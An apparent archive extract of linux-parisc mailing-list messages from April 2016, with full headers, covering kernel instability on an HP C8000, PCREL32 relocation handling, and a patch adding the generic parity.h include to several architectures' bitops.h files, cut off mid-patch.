Newsgroups: gmane.linux.ports.parisc
Subject: Re: Kernel Panic on 4 cores hp c8000
Date: Tue, 5 Apr 2016 16:18:12 -0400 (EDT)
Lines: 35
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.02.1604051615410.32758@file01.intranet.prod.int.rdu2.redhat.com>
References: <CACrbsaA0fw4KeKkcO5zZ50yMLsoysqJE6+ShfejCxDG9Zhns1Q@mail.gmail.com> <56FD5C30.4020409@gmx.de> <CACrbsaD4S7mPZcLT79FHU=fR+ecD6qaDyk1enHZ4zwG6y53MiA@mail.gmail.com> <alpine.LRH.2.02.1604051448230.28402@file01.intranet.prod.int.rdu2.redhat.com>
 <57040A95.2040509@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1459887506 2306 80.91.229.3 (5 Apr 2016 20:18:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 5 Apr 2016 20:18:26 +0000 (UTC)
Cc: Simone Mannori <simone.mannori@gmail.com>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 05 22:18:26 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1anXQZ-0002Rm-FV
	for glpp-linux-parisc@plane.gmane.org; Tue, 05 Apr 2016 22:18:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933666AbcDEUSR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 5 Apr 2016 16:18:17 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:38938 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S933667AbcDEUSO (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 5 Apr 2016 16:18:14 -0400
Original-Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24])
	(using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
	(No client certificate requested)
	by mx1.redhat.com (Postfix) with ESMTPS id 1CFDD7AE81;
	Tue,  5 Apr 2016 20:18:13 +0000 (UTC)
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (file01.intranet.prod.int.rdu2.redhat.com [10.11.5.7])
	by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id u35KICl0017255
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO);
	Tue, 5 Apr 2016 16:18:12 -0400
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (localhost [127.0.0.1])
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4) with ESMTP id u35KICkN010561;
	Tue, 5 Apr 2016 16:18:12 -0400
Original-Received: from localhost (mpatocka@localhost)
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id u35KIC4r010553;
	Tue, 5 Apr 2016 16:18:12 -0400
X-Authentication-Warning: file01.intranet.prod.int.rdu2.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file01.intranet.prod.int.rdu2.redhat.com
In-Reply-To: <57040A95.2040509@gmx.de>
User-Agent: Alpine 2.02 (LRH 1266 2009-07-14)
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26589
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26589>



On Tue, 5 Apr 2016, Helge Deller wrote:

> On 05.04.2016 20:54, Mikulas Patocka wrote:
> > On Thu, 31 Mar 2016, Simone Mannori wrote:
> >>> I think Debian 5 will not even install on the C8000..
> >>
> >> Correct: the boot DVD hang after a while.
> > 
> > I installed Debian 5 on the C8000 (using tftp netboot, not DVD) some times 
> > ago.
> > 
> > It required PCI serial card (because the Debian 5 kernel doesn't recognize 
> > the built-in serial ports) and PCI network card (the Debian 5 kernel can't 
> > handle the built-in E1000 network card due to non-standard checksum in the 
> > EEPROM).
> 
> ... and the debian 5 kernel was most likely *very* unstable on that machine ? :-)
> 
> Helge

Yes, it was very unstable. It took long time for the parisc port to 
stabilize.

Recently, I've got some gcc crashes when running kernel compilation in 
parallel with the LVM2 testsuite, so there may still be some stability 
bugs.

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: kernel 4.6-rc unbootable due to module changes
Date: Tue, 5 Apr 2016 16:18:00 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <57041D78.2080704@bell.net>
References: <alpine.LRH.2.02.1604051326470.14606@file01.intranet.prod.int.rdu2.redhat.com>
 <alpine.LRH.2.02.1604051332280.25453@file01.intranet.prod.int.rdu2.redhat.com>
 <570409DA.1060508@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1459887509 2395 80.91.229.3 (5 Apr 2016 20:18:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 5 Apr 2016 20:18:29 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>, Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 05 22:18:22 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1anXQa-0002Rm-1f
	for glpp-linux-parisc@plane.gmane.org; Tue, 05 Apr 2016 22:18:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933669AbcDEUSQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 5 Apr 2016 16:18:16 -0400
Original-Received: from belmont80srvr.owm.bell.net ([184.150.200.80]:32525 "EHLO
	mtlfep02.bell.net" rhost-flags-OK-FAIL-OK-FAIL) by vger.kernel.org
	with ESMTP id S933666AbcDEUSN (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 5 Apr 2016 16:18:13 -0400
Original-Received: from bell.net mtlfep02 184.150.200.30 by mtlfep02.bell.net
          with ESMTP
          id <20160405201812.STHU16596.mtlfep02.bell.net@mtlspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Tue, 5 Apr 2016 16:18:12 -0400
Original-Received: from [192.168.0.122] (really [65.95.37.166]) by mtlspm01.bell.net
          with ESMTP
          id <20160405201812.MSRI17299.mtlspm01.bell.net@[192.168.0.122]>;
          Tue, 5 Apr 2016 16:18:12 -0400
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:38.0) Gecko/20100101
 Thunderbird/38.7.0
In-Reply-To: <570409DA.1060508@gmx.de>
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020201.57041D84.00AB,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26590
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26590>

On 2016-04-05 2:54 PM, Helge Deller wrote:
> +		case R_PARISC_PCREL32:
> +			val -= (uint32_t) loc;
> +			*loc = val;
> +			break;
PCREL32 for a 64-bit application is "symbol - PC - 8 + addend".

Dave

-- 
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Kernel Panic on 4 cores hp c8000
Date: Tue, 5 Apr 2016 16:50:28 -0400
Lines: 49
Approved: news@gmane.org
Message-ID: <57042514.7000503@bell.net>
References: <CACrbsaA0fw4KeKkcO5zZ50yMLsoysqJE6+ShfejCxDG9Zhns1Q@mail.gmail.com>
 <56FD5C30.4020409@gmx.de>
 <CACrbsaD4S7mPZcLT79FHU=fR+ecD6qaDyk1enHZ4zwG6y53MiA@mail.gmail.com>
 <alpine.LRH.2.02.1604051448230.28402@file01.intranet.prod.int.rdu2.redhat.com>
 <57040A95.2040509@gmx.de>
 <alpine.LRH.2.02.1604051615410.32758@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1459889467 1696 80.91.229.3 (5 Apr 2016 20:51:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 5 Apr 2016 20:51:07 +0000 (UTC)
Cc: Simone Mannori <simone.mannori@gmail.com>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Mikulas Patocka <mpatocka@redhat.com>, Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 05 22:50:59 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1anXwA-0007HM-At
	for glpp-linux-parisc@plane.gmane.org; Tue, 05 Apr 2016 22:50:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760089AbcDEUuq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 5 Apr 2016 16:50:46 -0400
Original-Received: from simcoe208srvr.owm.bell.net ([184.150.200.208]:21833 "EHLO
	torfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1759943AbcDEUum (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 5 Apr 2016 16:50:42 -0400
Original-Received: from bell.net torfep02 184.150.200.158 by torfep02.bell.net
          with ESMTP
          id <20160405205040.FWQM15290.torfep02.bell.net@torspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Tue, 5 Apr 2016 16:50:40 -0400
Original-Received: from [192.168.0.122] (really [65.95.37.166]) by torspm02.bell.net
          with ESMTP
          id <20160405205040.DMEN14886.torspm02.bell.net@[192.168.0.122]>;
          Tue, 5 Apr 2016 16:50:40 -0400
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:38.0) Gecko/20100101
 Thunderbird/38.7.0
In-Reply-To: <alpine.LRH.2.02.1604051615410.32758@file01.intranet.prod.int.rdu2.redhat.com>
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020202.57042520.01C2,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26591
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26591>

On 2016-04-05 4:18 PM, Mikulas Patocka wrote:
>
> On Tue, 5 Apr 2016, Helge Deller wrote:
>
>> On 05.04.2016 20:54, Mikulas Patocka wrote:
>>> On Thu, 31 Mar 2016, Simone Mannori wrote:
>>>>> I think Debian 5 will not even install on the C8000..
>>>> Correct: the boot DVD hang after a while.
>>> I installed Debian 5 on the C8000 (using tftp netboot, not DVD) some times
>>> ago.
>>>
>>> It required PCI serial card (because the Debian 5 kernel doesn't recognize
>>> the built-in serial ports) and PCI network card (the Debian 5 kernel can't
>>> handle the built-in E1000 network card due to non-standard checksum in the
>>> EEPROM).
>> ... and the debian 5 kernel was most likely *very* unstable on that machine ? :-)
>>
>> Helge
> Yes, it was very unstable. It took long time for the parisc port to
> stabilize.
I would say it took a change in the way the port is maintained. Helge 
and I communicate
closely.  I look at the buildd logs on a regular basis and try to push 
fixes for gcc problems
aggressively.  This causes some instability but I don't see any other 
choice.  We have also
pushed stuff to glibc.  More needs to be done there but the Debian patch 
set is reduced.
>
> Recently, I've got some gcc crashes when running kernel compilation in
> parallel with the LVM2 testsuite, so there may still be some stability
> bugs.
>
The LVM2 builds on Debian have been generally successful:
https://buildd.debian.org/status/logs.php?pkg=lvm2&arch=hppa
However, it looks as if testsuite isn't being run.

If you find something that is reproducible, please send along.

Dave

-- 
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: zengzhaoxiu@163.com
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.openrisc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel
Subject: [PATCH v2 02/30] Include generic parity.h in some architectures'
 bitops.h
Date: Wed,  6 Apr 2016 16:41:26 +0800
Lines: 244
Approved: news@gmane.org
Message-ID: <1459932086-6394-1-git-send-email-zengzhaoxiu@163.com>
References: <57033DBB.6060600@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1459932402 7919 80.91.229.3 (6 Apr 2016 08:46:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 6 Apr 2016 08:46:42 +0000 (UTC)
Cc: uclinux-h8-devel@lists.sourceforge.jp, linux-s390@vger.kernel.org,
 linux-am33-list@redhat.com, linux-c6x-dev@linux-c6x.org,
 linux-cris-kernel@axis.com, linux-sh@vger.kernel.org,
 linux-hexagon@vger.kernel.org, linux-xtensa@linux-xtensa.org,
 linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
 linux-parisc@vger.kernel.org, linux@lists.openrisc.net,
 linux-snps-arc@lists.infradead.org, linux-metag@vger.kernel.org,
 linux-arm-kernel@lists.infradead.org, Zhaoxiu Zeng <zhaoxiu.zeng@gmail.com>
To: vgupta@synopsys.com, linux@arm.linux.org.uk, catalin.marinas@arm.com,
 will.deacon@arm.com, hskinnemoen@gmail.com, egtvedt@samfundet.no,
 msalter@redhat.com, a-jacquiot@ti.com, starvik@axis.com,
 jesper.nilsson@axis.com, ysato@users.sourceforge.jp, rkuo@codeaurora.org,
 geert@linux-m68k.org, james.hogan@imgtec.com, dhowells@redhat.com,
 yasutake.koichi@jp.panasonic.com, jonas@southpole.se,
 jejb@parisc-linux.org, deller@gmx.de, schwidefsky@de.ibm.com,
 heiko.carstens@de.ibm.com, dalias@libc.org, chris@zankel.net,
 jcmvbkbc@gmail.com, peterz@infradead.org, yamada.masahiro@socionext.com,
 tglx@linutronix.de, brueckner@linux.vnet.ibm.com
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Wed Apr 06 10:46:28 2016
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.9])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1anj6a-0006wj-3j
	for gla-linux-snps-arc@m.gmane.org; Wed, 06 Apr 2016 10:46:28 +0200
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.80.1 #2 (Red Hat Linux))
	id 1anj6Y-0005HL-Tg; Wed, 06 Apr 2016 08:46:26 +0000
Original-Received: from m50-138.163.com ([123.125.50.138])
 by bombadil.infradead.org with esmtp (Exim 4.80.1 #2 (Red Hat Linux))
 id 1anj6U-0004xe-IU; Wed, 06 Apr 2016 08:46:26 +0000
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=163.com;
 s=s110527; h=From:Subject:Date:Message-Id; bh=q+tzrUaLEqZ6qMVuWp
 bMeXM1a9IWDYjsnUHBwYbXRLU=; b=NUhwMds2+0TD+2QLLWVRO3OPSuC7c21hGe
 4iWZ2EWd/b8U+SENwwrLLMA4UUKGeFnCeHEALbDRIzoSGvpcwWgiL3i8UHMokqdI
 vruvORvu4+8Lmf+W7hNRb6tFMndRgRLbp/QclC4mek8iSNTITb1KtuimO5wmAiOS
 vMth8BSDc=
Original-Received: from zhaoxiuzeng-VirtualBox.spreadtrum.com (unknown [112.95.225.98])
 by smtp1 (Coremail) with SMTP id C9GowAD3HLG5ywRXdJnZAA--.21086S2;
 Wed, 06 Apr 2016 16:41:36 +0800 (CST)
X-Mailer: git-send-email 2.5.0
In-Reply-To: <57033DBB.6060600@gmail.com>
X-CM-TRANSID: C9GowAD3HLG5ywRXdJnZAA--.21086S2
X-Coremail-Antispam: 1Uf129KBjvJXoW3try8uw1kZw4xuF17Zr13urg_yoWDZFy5pF
 1Dur1kArZ5G348XFWjkrnFkF47twsxGF43tFWY9a4qyF1xtw4jyF4v9F1DAw1kXa1qqrWF
 grZrCry5Ja10qF7anT9S1TB71UUUUUUqnTZGkaVYY2UrUUUUjbIjqfuFe4nvWSU5nxnvy2
 9KBjDUYxBIdaVFxhVjvjDU0xZFpf9x07jKJmUUUUUU=
X-Originating-IP: [112.95.225.98]
X-CM-SenderInfo: p2hqw6xkdr5xrx6rljoofrz/1tbivwFDgFWBRHFEiQAAsR
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20160406_014623_549731_4C146054 
X-CRM114-Status: UNSURE (   6.87  )
X-CRM114-Notice: Please train this message.
X-Spam-Score: -3.0 (---)
X-Spam-Report: SpamAssassin version 3.4.0 on bombadil.infradead.org summary:
 Content analysis details:   (-3.0 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
 (zengzhaoxiu[at]163.com)
 -1.0 RP_MATCHES_RCVD Envelope sender domain matches handover relay domain
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -1.9 BAYES_00               BODY: Bayes spam probability is 0 to 1%
 [score: 0.0000]
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.20
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:839 gmane.linux.ports.sh.devel:53712 gmane.linux.ports.hexagon:997 gmane.linux.kernel:2192002 gmane.linux.ports.parisc:26592 gmane.linux.ports.openrisc:696 gmane.linux.kernel.metag:1049 gmane.linux.ports.arm.kernel:490687
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/839>

From: Zhaoxiu Zeng <zhaoxiu.zeng@gmail.com>

Use the generic version

Signed-off-by: Zhaoxiu Zeng <zhaoxiu.zeng@gmail.com>
---
 arch/arc/include/asm/bitops.h      | 1 +
 arch/arm/include/asm/bitops.h      | 1 +
 arch/arm64/include/asm/bitops.h    | 1 +
 arch/avr32/include/asm/bitops.h    | 1 +
 arch/c6x/include/asm/bitops.h      | 1 +
 arch/cris/include/asm/bitops.h     | 1 +
 arch/frv/include/asm/bitops.h      | 1 +
 arch/h8300/include/asm/bitops.h    | 1 +
 arch/hexagon/include/asm/bitops.h  | 1 +
 arch/m32r/include/asm/bitops.h     | 1 +
 arch/m68k/include/asm/bitops.h     | 1 +
 arch/metag/include/asm/bitops.h    | 1 +
 arch/mn10300/include/asm/bitops.h  | 1 +
 arch/openrisc/include/asm/bitops.h | 1 +
 arch/parisc/include/asm/bitops.h   | 1 +
 arch/s390/include/asm/bitops.h     | 1 +
 arch/sh/include/asm/bitops.h       | 1 +
 arch/xtensa/include/asm/bitops.h   | 1 +
 18 files changed, 18 insertions(+)

diff --git a/arch/arc/include/asm/bitops.h b/arch/arc/include/asm/bitops.h
index 0352fb8..7967e47 100644
--- a/arch/arc/include/asm/bitops.h
+++ b/arch/arc/include/asm/bitops.h
@@ -370,6 +370,7 @@ static inline __attribute__ ((const)) int __ffs(unsigned long x)
 #define ffz(x)	__ffs(~(x))
 
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/fls64.h>
 #include <asm-generic/bitops/sched.h>
 #include <asm-generic/bitops/lock.h>
diff --git a/arch/arm/include/asm/bitops.h b/arch/arm/include/asm/bitops.h
index e943e6c..99f28a6 100644
--- a/arch/arm/include/asm/bitops.h
+++ b/arch/arm/include/asm/bitops.h
@@ -313,6 +313,7 @@ static inline unsigned long __ffs(unsigned long x)
 
 #include <asm-generic/bitops/sched.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/lock.h>
 
 #ifdef __ARMEB__
diff --git a/arch/arm64/include/asm/bitops.h b/arch/arm64/include/asm/bitops.h
index 9c19594..eac4965 100644
--- a/arch/arm64/include/asm/bitops.h
+++ b/arch/arm64/include/asm/bitops.h
@@ -44,6 +44,7 @@ extern int test_and_change_bit(int nr, volatile unsigned long *p);
 
 #include <asm-generic/bitops/sched.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/lock.h>
 
 #include <asm-generic/bitops/non-atomic.h>
diff --git a/arch/avr32/include/asm/bitops.h b/arch/avr32/include/asm/bitops.h
index 910d537..9f4a2ce 100644
--- a/arch/avr32/include/asm/bitops.h
+++ b/arch/avr32/include/asm/bitops.h
@@ -298,6 +298,7 @@ static inline int ffs(unsigned long word)
 #include <asm-generic/bitops/fls64.h>
 #include <asm-generic/bitops/sched.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/lock.h>
 
 extern unsigned long find_next_zero_bit_le(const void *addr,
diff --git a/arch/c6x/include/asm/bitops.h b/arch/c6x/include/asm/bitops.h
index f0ab012..94eb0d1 100644
--- a/arch/c6x/include/asm/bitops.h
+++ b/arch/c6x/include/asm/bitops.h
@@ -87,6 +87,7 @@ static inline int ffs(int x)
 
 #include <asm-generic/bitops/sched.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/lock.h>
 
 #include <asm-generic/bitops/atomic.h>
diff --git a/arch/cris/include/asm/bitops.h b/arch/cris/include/asm/bitops.h
index 8062cb5..06bc246 100644
--- a/arch/cris/include/asm/bitops.h
+++ b/arch/cris/include/asm/bitops.h
@@ -36,6 +36,7 @@
 #include <asm-generic/bitops/__fls.h>
 #include <asm-generic/bitops/fls64.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/find.h>
 #include <asm-generic/bitops/lock.h>
 
diff --git a/arch/frv/include/asm/bitops.h b/arch/frv/include/asm/bitops.h
index 0df8e95..f2a7ee8 100644
--- a/arch/frv/include/asm/bitops.h
+++ b/arch/frv/include/asm/bitops.h
@@ -314,6 +314,7 @@ int __ilog2_u64(u64 n)
 
 #include <asm-generic/bitops/sched.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/lock.h>
 
 #include <asm-generic/bitops/le.h>
diff --git a/arch/h8300/include/asm/bitops.h b/arch/h8300/include/asm/bitops.h
index 05999ab..e392db2 100644
--- a/arch/h8300/include/asm/bitops.h
+++ b/arch/h8300/include/asm/bitops.h
@@ -172,6 +172,7 @@ static inline unsigned long __ffs(unsigned long word)
 #include <asm-generic/bitops/find.h>
 #include <asm-generic/bitops/sched.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/lock.h>
 #include <asm-generic/bitops/le.h>
 #include <asm-generic/bitops/ext2-atomic.h>
diff --git a/arch/hexagon/include/asm/bitops.h b/arch/hexagon/include/asm/bitops.h
index 5e4a59b..2df614e 100644
--- a/arch/hexagon/include/asm/bitops.h
+++ b/arch/hexagon/include/asm/bitops.h
@@ -290,6 +290,7 @@ static inline unsigned long __fls(unsigned long word)
 #include <asm-generic/bitops/fls64.h>
 #include <asm-generic/bitops/sched.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 
 #include <asm-generic/bitops/le.h>
 #include <asm-generic/bitops/ext2-atomic.h>
diff --git a/arch/m32r/include/asm/bitops.h b/arch/m32r/include/asm/bitops.h
index 86ba2b4..e3cf46b 100644
--- a/arch/m32r/include/asm/bitops.h
+++ b/arch/m32r/include/asm/bitops.h
@@ -259,6 +259,7 @@ static __inline__ int test_and_change_bit(int nr, volatile void * addr)
 #include <asm-generic/bitops/find.h>
 #include <asm-generic/bitops/ffs.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/lock.h>
 
 #endif /* __KERNEL__ */
diff --git a/arch/m68k/include/asm/bitops.h b/arch/m68k/include/asm/bitops.h
index b4a9b0d..fd673ea 100644
--- a/arch/m68k/include/asm/bitops.h
+++ b/arch/m68k/include/asm/bitops.h
@@ -519,6 +519,7 @@ static inline int __fls(int x)
 #include <asm-generic/bitops/fls64.h>
 #include <asm-generic/bitops/sched.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/lock.h>
 #endif /* __KERNEL__ */
 
diff --git a/arch/metag/include/asm/bitops.h b/arch/metag/include/asm/bitops.h
index 2671134..ad13087 100644
--- a/arch/metag/include/asm/bitops.h
+++ b/arch/metag/include/asm/bitops.h
@@ -118,6 +118,7 @@ static inline int test_and_change_bit(unsigned int bit,
 #include <asm-generic/bitops/__fls.h>
 #include <asm-generic/bitops/fls64.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/lock.h>
 #include <asm-generic/bitops/sched.h>
 #include <asm-generic/bitops/le.h>
diff --git a/arch/mn10300/include/asm/bitops.h b/arch/mn10300/include/asm/bitops.h
index fe6f8e2..60761b7 100644
--- a/arch/mn10300/include/asm/bitops.h
+++ b/arch/mn10300/include/asm/bitops.h
@@ -225,6 +225,7 @@ int ffs(int x)
 #include <asm-generic/bitops/find.h>
 #include <asm-generic/bitops/sched.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/ext2-atomic-setbit.h>
 #include <asm-generic/bitops/le.h>
 
diff --git a/arch/openrisc/include/asm/bitops.h b/arch/openrisc/include/asm/bitops.h
index 3003cda..8c97642 100644
--- a/arch/openrisc/include/asm/bitops.h
+++ b/arch/openrisc/include/asm/bitops.h
@@ -43,6 +43,7 @@
 #include <asm-generic/bitops/sched.h>
 #include <asm/bitops/ffs.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/lock.h>
 
 #include <asm-generic/bitops/atomic.h>
diff --git a/arch/parisc/include/asm/bitops.h b/arch/parisc/include/asm/bitops.h
index 3f9406d..867ba10 100644
--- a/arch/parisc/include/asm/bitops.h
+++ b/arch/parisc/include/asm/bitops.h
